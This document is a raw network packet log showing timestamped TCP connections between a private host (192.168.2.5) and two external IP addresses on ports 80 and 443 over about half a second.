Oct 30, 2024 21:56:22.524823904 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.524856091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.524866104 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524878025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524888992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524920940 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.524959087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.524959087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.525464058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525501966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525516033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525548935 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.525566101 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525578022 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525588036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525588989 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.525599957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525614977 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.525615931 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.525635004 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.525660038 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557079077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557095051 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557151079 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557153940 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557162046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557179928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557187080 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557187080 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557200909 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557214975 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557225943 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557235003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557235003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557238102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557248116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557255030 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557293892 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557830095 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557842016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557852983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.557892084 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.557923079 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558058977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558077097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558113098 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558142900 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558425903 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558439016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558478117 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558482885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558497906 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558549881 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558549881 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558558941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558571100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558583021 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558593988 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558605909 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558615923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558644056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.558653116 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558653116 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.558684111 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.602010012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.602099895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.602112055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.602226973 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.640384912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640398026 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640410900 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640460014 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640470982 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640482903 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640513897 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640525103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640536070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640547037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640558958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.640690088 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.641505957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641518116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641529083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641557932 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641568899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641567945 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.641581059 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641599894 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.641624928 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.641640902 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641658068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641669035 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.641684055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.641706944 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.642154932 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.642167091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.642183065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.642194033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.642205954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.642216921 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.642236948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.642261982 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.672034979 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:22.672250032 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.673846006 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.673863888 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:22.674024105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674037933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674050093 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674067020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674077988 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674078941 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.674107075 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.674129009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674135923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.674139977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674150944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674161911 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674173117 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.674181938 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674192905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674200058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674201965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.674205065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674212933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.674225092 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.674231052 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:22.674268961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675014019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675024986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675060987 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675065994 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675076962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675087929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675100088 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675131083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675156116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675170898 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675183058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675194025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675200939 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675204992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.675219059 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675242901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675256968 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.675677061 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.675833941 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.675868034 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:22.675915956 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.675925016 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:22.675992012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.676029921 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.718425989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.718558073 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.718571901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.718749046 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.757186890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757306099 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.757389069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757401943 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757417917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757436991 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757448912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757462025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757461071 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.757473946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757483006 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.757488966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.757508993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.757524967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.757548094 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758074045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758086920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758099079 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758132935 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758151054 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758155107 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758168936 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758182049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758188009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758215904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758217096 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758227110 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758238077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758246899 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758249998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758263111 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758265018 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758275032 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758287907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758306980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758327007 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.758975983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758987904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.758999109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.759035110 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.759062052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790267944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790371895 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790419102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790435076 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790452957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790463924 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790468931 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790478945 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790481091 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790489912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790503979 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790523052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790543079 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790725946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790740013 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790791035 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790827990 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790858030 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.790934086 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790944099 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790961981 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790971041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790981054 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.790991068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.791027069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.791027069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.791472912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791485071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791495085 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791506052 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791516066 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791524887 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791537046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791543007 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.791543007 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.791546106 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.791580915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.791580915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.791606903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.792265892 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.792277098 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.792288065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.792330980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.792330980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.792402983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.792414904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.792459011 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.835020065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.835031033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.835041046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.835094929 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.835127115 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.873610020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873631954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873641968 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873651028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873667002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873672009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873729944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873739958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873749018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873759031 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873768091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873779058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.873882055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.873882055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.873882055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.873882055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.873882055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.873882055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.874406099 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874423981 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874454975 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.874470949 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.874818087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874828100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874838114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874850035 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874860048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874866009 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.874871016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874876022 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.874890089 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.874921083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.875212908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.875222921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.875233889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.875245094 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.875261068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.875279903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.906744003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906847000 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.906868935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906891108 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906903028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906922102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906936884 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906960011 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906970978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906976938 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.906984091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907032967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907032967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907032967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907033920 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907341957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907354116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907361031 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907393932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907409906 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907428026 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907581091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907629967 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907629967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907643080 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907672882 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907687902 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.907710075 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907723904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.907780886 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.908011913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908058882 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.908102989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908117056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908127069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908139944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908143044 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.908153057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908159018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908166885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908166885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.908207893 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.908221960 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.908509970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.908557892 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.909143925 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.909153938 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.909198999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.949870110 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.949883938 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.949896097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.949949026 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.949985027 CET	50233	80	192.168.2.5	185.215.113.16
